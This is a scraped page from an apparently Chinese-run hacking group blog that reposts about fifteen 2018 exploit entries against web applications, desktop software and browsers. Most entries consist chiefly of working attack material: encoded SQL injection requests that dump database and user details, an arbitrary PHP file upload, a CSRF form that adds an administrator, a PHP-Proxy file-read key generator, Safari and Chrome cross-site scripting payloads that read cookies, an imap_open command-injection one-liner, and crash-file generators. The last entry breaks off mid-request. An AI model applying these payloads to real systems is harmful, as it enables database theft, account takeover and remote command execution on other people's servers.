# Exploit Title: SQL injection in Advanced comment system v1.0
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.plohni.com
# Software Link:
http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip,
https://web.archive.org/web/20120214173003/http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip
# Version: Advanced comment system v1.0
# Tested on: All
# CVE : CVE-2018-18619
# Category: webapps
1. Description
PHP page internal/advanced_comment_system/admin.php in Advanced Comment
System 1.0 is prone to an SQL injection vulnerability because it fails to
sufficiently sanitize user-supplied data before using it in an SQL query,
allowing remote attackers to execute the sqli attack via a URL in the
"page" parameter.
The product is discontinued.
2. Proof of Concept
http://x.x.x.x/internal/advanced_comment_system/admin.php?pw=admin&page=/internal/index.php%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x71717a6b71,0x67424663534f77556d44746a59686f78427354754268636b5466486249616b724d716e4869634758,0x7171626a71),NULL--%20SkrU&del=2
3. Solution:
The product is discontinued.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863587826
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Bosch Video Management System 8.0-Configuration Client-Denial of Service (Poc)
# Discovery by: Daniel
# Discovery Date: 2018-11-12
# Software Name: Bosch Video Management System
# Software Version: 8.0
# Vendor Homepage: https://www.boschsecurity.com/xc/en/products/management-software/bvms/
# Software Link: https://la.boschsecurity.com/es/productos/videosystems_1/videosoftware_1/videomanagementsystems_1/boschvideomanagementsyste_8/boschvideomanagementsyste_8_44761
# Tested on: Windows 10 Pro x64
#Make sure that during the installation of software you installed all the program features available.
#This PoC was carried out in 'Configuration Client', which is part of 'Bosch Video Management System'.
# Steps to produce the crash:
# 1.- run: dos.py
# 2.- Open bosch.txt and copy content to clipboard
# 2.- Open Configuration Client (Normally the installer creates a direct link in desktop)
# 3.- Click on 'Connection:' box and select "Address Book"
# 4.- Copy clipboard in "(Enterprise) Management Server Address:"
# 5.- write "test" in 'Username'
# 6.- Write "test" in 'Password'
# 7.- Click on 'OK'
# 8.- Crash
#!/usr/bin/python
buf = "\x41" * 64
f = open('bosch.txt', 'w')
f.write(buf)
f.close()
# Exploit Title: DoceboLMS 1.2 - SQL Injection
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.spaghettilearning.com/
# Software Link: https://datapacket.dl.sourceforge.net/project/spaghettilearn/Spaghettilearning%201.2%20Beta/Spaghettilearnin%201.2%20-%20Windows%20version/splearn12beta.exe
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/modules/progcourse/lesson.php?id=[SQL]&idC=[SQL]&idU=[SQL]
#
GET /[PATH]/modules/progcourse/lesson.php?id=%31%27%20%41%4e%44%20%45%4c%54%28%31%3d%31%2c%31%29%20%41%4e%44%20%27%45%66%65%27%3d%27%45%66%65 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: learning=fd935520ed5eafc7e53bffb101c8de6b
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 15:28:22 GMT
Server: Apache/1.3.27 (Win32) PHP/4.3.3
X-Powered-By: PHP/4.3.3
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
# Exploit Title: DoceboLMS 1.2 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.spaghettilearning.com/
# Software Link: https://datapacket.dl.sourceforge.net/project/spaghettilearn/Spaghettilearning%201.2%20Beta/Spaghettilearnin%201.2%20-%20Windows%20version/splearn12beta.exe
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert
#
POST /[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: learning=ab3edb1f569003472985f03a29c58ff3
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------25203287911319136191134967575
Content-Length: 394
-----------------------------25203287911319136191134967575
Content-Disposition: form-data; name="max_file_size"
10000000000
-----------------------------25203287911319136191134967575
Content-Disposition: form-data; name="uploadedfile"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------25203287911319136191134967575--
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 16:03:33 GMT
Server: Apache/1.3.27 (Win32) PHP/4.3.3
X-Powered-By: PHP/4.3.3
Set-Cookie: learning=ab3edb1f569003472985f03a29c58ff3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
#
GET /[PATH]/fileCorsi/galleryImg/1542038613.user.phpinfo.php HTTP/1.1
Host: 192.168.245.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: /[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert
Cookie: learning=ab3edb1f569003472985f03a29c58ff3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 16:03:43 GMT
Server: Apache/1.3.27 (Win32) PHP/4.3.3
X-Powered-By: PHP/4.3.3
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
# POC:
# 2)
# http://localhost/[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert
#
# http://localhost/[PATH]/fileCorsi/galleryImg/[FILE]
#
<html>
<body>
<form method="post" enctype="multipart/form-data" action="http://localhost/[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert">
<input name="max_file_size" value="10000000000" type="hidden">
<input name="uploadedfile" size="25" type="file">
<input value="_INS" type="submit">
</form>
</body>
</html>
# Exploit Title: Precurio Intranet Portal 2.0 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.precurio.org
# Software Link: https://netcologne.dl.sourceforge.net/project/precurio/version%202.1/precurio.zip
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/public/admin/user/submitnew
#
POST /[PATH]/public/admin/user/submitnew HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------2118278047894297530396667654
Content-Length: 1119
-----------------------------2118278047894297530396667654
Content-Disposition: form-data; name="user_id"
-----------------------------2118278047894297530396667654
Content-Disposition: form-data; name="date_created"
1542055034
-----------------------------2118278047894297530396667654
Content-Disposition: form-data; name="first_name"
efe
-----------------------------2118278047894297530396667654
Content-Disposition: form-data; name="last_name"
efe
-----------------------------2118278047894297530396667654
Content-Disposition: form-data; name="email"
efeomerefe.com
-----------------------------2118278047894297530396667654
Content-Disposition: form-data; name="password"
efe
-----------------------------2118278047894297530396667654
Content-Disposition: form-data; name="department_id"
0
-----------------------------2118278047894297530396667654
Content-Disposition: form-data; name="location_id"
0
-----------------------------2118278047894297530396667654
Content-Disposition: form-data; name="submit"
Submit
-----------------------------2118278047894297530396667654--
HTTP/1.1 302 Found
Date: Mon, 12 Nov 2018 20:51:19 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PRECURIOSESSID=0ddb3o3ade8g3vn2qb3q4jhe61; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /[PATH]/public/admin/user/edit/id/11
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# POC:
# 2)
# http://localhost/[PATH]/public/admin/user/submitnew
#
<html>
<body>
<form enctype="multipart/form-data" action="http://localhost/[PATH]/public/admin/user/submitnew" method="post">
<input name="user_id" value="" type="hidden">
<input name="date_created" value="1542055034" type="hidden">
<input name="first_name" placeholder="first_name" value="" type="text"></dd>
<input name="last_name" placeholder="last_name" value="" type="text"></dd>
<input name="email" placeholder="email" value="" type="text"></dd>
<input name="password" placeholder="password" value="" type="text"></dd>
<input name="department_id" value="0" type="hidden">
<input name="location_id" value="0" type="hidden">
<input name="submit" value="Submit" type="submit">
</form>
</body>
</html>
# Exploit Title: BitZoom 1.0 - 'rollno' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://bitzoom.sourceforge.io/
# Software Link: https://excellmedia.dl.sourceforge.net/project/bitzoom/bitzoom-master.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/forgot.php
#
POST /PATH/forgot.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=rsq0813q4hl4dtbfesogugiln3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 572
rollno=%31%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2d%2d%20%2d
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 11:17:49 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2488
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# POC:
# 2)
# http://localhost/[PATH]/forgot.php
#
POST /PATH/forgot.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=rsq0813q4hl4dtbfesogugiln3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 574
username=%31%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2d%2d%20%2d
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 11:17:52 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2486
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# POC:
# 3)
# http://localhost/[PATH]/login.php
#
POST /PATH/login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 592
username=%31%32%27%7c%28%53%65%6c%65%43%54%20%27%45%66%65%27%20%46%72%6f%4d%20%64%75%41%4c%20%57%68%65%52%45%20%31%31%30%3d%31%31%30%20%41%6e%44%20%28%73%65%4c%45%63%54%20%31%31%32%20%66%72%4f%4d%28%53%45%6c%65%63%54%20%43%6f%75%4e%54%28%2a%29%2c%43%6f%6e%43%41%54%28%44%41%54%41%42%41%53%45%28%29%2c%28%53%65%4c%45%63%74%20%28%45%4c%54%28%31%31%32%3d%31%31%32%2c%31%29%29%29%2c%46%4c%6f%6f%52%28%52%41%6e%64%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%72%6d%61%74%49%4f%4e%5f%53%63%68%45%4d%41%2e%50%6c%75%47%49%4e%53%20%67%72%4f%55%70%20%42%59%20%78%29%61%29%29%7c%27&password=Efe
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 11:03:08 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 585
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# Exploit Title: PHP-Proxy 5.1.0 - Local File Inclusion
# Date: 2018-11-13
# Exploit Author: Ameer Pornillos
# Contact: https://ethicalhackers.club
# Vendor Homepage: https://www.php-proxy.com/
# Software Link: https://www.php-proxy.com/download/php-proxy.zip
# Version: 5.1.0
# Category: Webapps
# Tested on: XAMPP on Win10_x64
# Description: Downloadable pre-installed version of PHP-Proxy 5.1.0
# make use of a default app_key wherein can be used for local file inclusion
# attacks. This can be used to generate encrypted string which
# can gain access to arbitrary local files in the server.
# http://php-proxy-site/index.php?q=[encrypted_string_value]
# CVE: CVE-2018-19246
# POC:
# 1)
# Generate encrypted string value using the PHP script below
# 2)
# Browse to URL
# http://php-proxy-site/index.php?q=[encrypted_string_value]
# to read local file
<?php
$file = "file:///C:/xampp/passwords.txt"; //example target file to read
$ip = "192.168.0.1"; //change depending on your IP address that access the app
$app_key = "aeb067ca0aa9a3193dce3a7264c90187";
$key = md5($app_key.$ip);
function str_rot_pass($str, $key, $decrypt = false){
$key_len = strlen($key);
$result = str_repeat(' ', strlen($str));
for($i=0; $i<strlen($str); $i++){
if($decrypt){
$ascii = ord($str[$i]) - ord($key[$i % $key_len]);
} else {
$ascii = ord($str[$i]) + ord($key[$i % $key_len]);
}
$result[$i] = chr($ascii);
}
return $result;
}
function base64_url_encode($input){
return rtrim(strtr(base64_encode($input), '+/', '-_'), '=');
}
echo base64_url_encode(str_rot_pass($file, $key));
?>
# Exploit Title: Net-Billetterie 2.9 - 'login' SQL Injection
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://net-billetterie.tuxfamily.org/
# Software Link: https://netix.dl.sourceforge.net/project/netbilletterie/Netbilletterie2.9.zip
# Version: 2.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/login.inc.php
#
# //login.inc.php
# ....
#18 if (isset ($_POST) && !empty($_POST['login']) && !empty($_POST['pass']))
#19 {
#20 extract($_POST);
#21 $pass=md5($pass);
#22
#23 $sql="SELECT * FROM ".$tblpref."user WHERE login='$login' AND pwd='$pass' ";
#24 $req=mysql_query($sql) or die (mysql_error());
#25 if( mysql_num_rows($req)>0)
#26 {
#27 $data = mysql_fetch_array($req);
#28 $login = $data['login'];
#29 $num=$data['num'];
#30
#31 $_SESSION['Auth']=array(
#32 'login' =>$login,
#33 'pass' =>$pass,
#34 'lang' =>'fr',
#35 'tblpref'=>$tblpref,
#36 'num' =>$num
# ....
POST /[PATH]/login.inc.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ahn0q4qtr7adcj7kol54879rv0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 579
login=%31%27%20%4f%52%20%28%53%45%4c%45%43%54%20%31%31%32%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%31%32%3d%31%31%32%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29%2d%2d%20Efe&pass=Efe
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 10:57:05 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 84
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# Exploit Title: Galaxy Forces MMORPG 0.5.8 - 'type' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://galaxy.alyx.pl/
# Software Link: https://excellmedia.dl.sourceforge.net/project/galaxyforces/galaxy/0.5.8/galaxy-0.5.8.7z
# Version: 0.5.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# Users..
# http://localhost/[PATH]/ads.php
#
# action=add&title=[Do not leave empty..]&type=[SQL]&time=[Do not leave empty..]&message=[Do not leave empty..]
#
POST /PATH/ads.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: RID=d3fada0e6d425fdf; login=efe; salt=b5c59c9626445d978940049594f60c858642d268; agree=true
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 368
action=add&title=[Efe]&type=%27%7c%7c(SeleCT%20'%45%66%65'%20FroM%20duAL%20WheRE%20110%3d110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*)%2cConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT%28%31%31%32%3d%31%31%32%2c%31%29%29%29%2cFLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))%7c%7c%27&time=[Efe]&message=[Efe]
HTTP/1.1 302 Found
Date: Wed, 14 Nov 2018 15:12:30 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: RID=44ff5c8a0c395f9b; expires=Wed, 14-Nov-2018 16:12:30 GMT; Max-Age=3600
Set-Cookie: login=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: salt=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Content-Length: 0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
#Etc..
<!--
# CVE-2017-7089
**Impact**: Processing maliciously crafted web content may lead to universal cross site scripting
**Description**: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management.
#### Safari 10
##### Local SOP bypass
```html
<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='<img src=q onerror=alert(document.cookie)>';}</script><button onclick=Pew();>Click me!</button>
```
##### Exploit by Frans Rosén
```html
data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML='<img/src=""onerror="alert(document.cookie)">'};setTimeout(y,100)</script>
```
-->
<body onload=document.getElementById('pew').click()>
<a id='pew' href='data:text/html,<script>function y(){x=open('parent-tab://apple.com','_top'),x.document.body.innerHTML='<img/src=""onerror=alert(document.domain);alert(document.cookie);>'};setTimeout(y,100)</script>'>hello</a>
</body>
<?php
$filename=realpath("PoC.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>
MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----MultipartBoundary--"
CVE-2017-5124
------MultipartBoundary--
Content-Type: application/xml;
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>
------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com
<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----
<?php
# https://antichat.com/threads/463395/#post-4254681
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
# Exploit Title: EverSync 0.5 - Arbitrary File Download
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://phpmassmail.sourceforge.io/
# Software Link: https://datapacket.dl.sourceforge.net/project/eversync/Downloads/alpha/EverSync-Pre-alpha05.zip
# Version: 0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC: Dztabase Download
# 1)
# http://localhost/[PATH]/files/db.sq3
#
GET /[PATH]/files/db.sq3 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=dhq0fbvco8d0sc0lem3l2kktk0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 19:47:32 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
Last-Modified: Wed, 14 Nov 2018 19:37:00 GMT
ETag: "3800-57aa50ed0a29c"
Accept-Ranges: bytes
Content-Length: 14336
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
# Exploit Title: Notepad3 1.0.2.350 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.rizonesoft.com/
# Software Link: https://netix.dl.sourceforge.net/project/notepad3/Notepad3%20Build%20350/Notepad3-1.0.2.350.exe
# Software Link: https://datapacket.dl.sourceforge.net/project/notepad3/Notepad3%20Build%20350/Notepad3-1.0.2.350_x86.zip
# Version: 1.0.2.350
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# File / Set Encryption Passphrase / Encrypt using Passphrase
#!/usr/bin/python
buffer = "A" * 256
payload = buffer
try:
f=open("exp.txt","w")
print "[+] Creating %s bytes evil payload." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created."
# Exploit Title: Meneame English Pligg 5.8 - 'search' SQL Injection
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/meneame-english/
# Software Link: https://master.dl.sourceforge.net/project/meneame/meneame/Beta%205.8/Pligg_Beta_5.8.rar
# Version: 5.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/index.php?search=[SQL]
#
GET /[PATH]/?search=%61%27%29%20%41%4e%44%20(SeleCT%20%27Efe%27%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))%20--%20Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 15:10:50 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 7044
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# Exploit Title: Simple E-Document 1.31 - 'username' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.tecorange.com/index.php/download-free-open-source-software/79-simple-e-document-free-open-source-document-and-paper-m
# Software Link: https://datapacket.dl.sourceforge.net/project/simplee-doc/simple_e_document_v_1_31.zip
# Version: 1.31
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# //[PATH]//login.php
# ....
#10 if(!isset($_POST['op'])) $_POST['op']='';
#11 if(!isset($_POST['username'])) $_POST['username']='';
#12 if(!isset($_POST['password'])) $_POST['password']='';
#13 if(!isset($op)) $op='';
#14
#15 $op = $_POST['op'];
#16 $username= stripslashes($_POST['username']);
#17 $password= stripslashes($_POST['password']);
#18 $r_password = md5($password);
#19
#20 $sql = "SELECT * From edocphp_users WHERE username='$username' AND password ='$r_password'";
# ....
# POC:
# 1)
# http://localhost/[PATH]/login.php
#
POST /PATH/login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 267
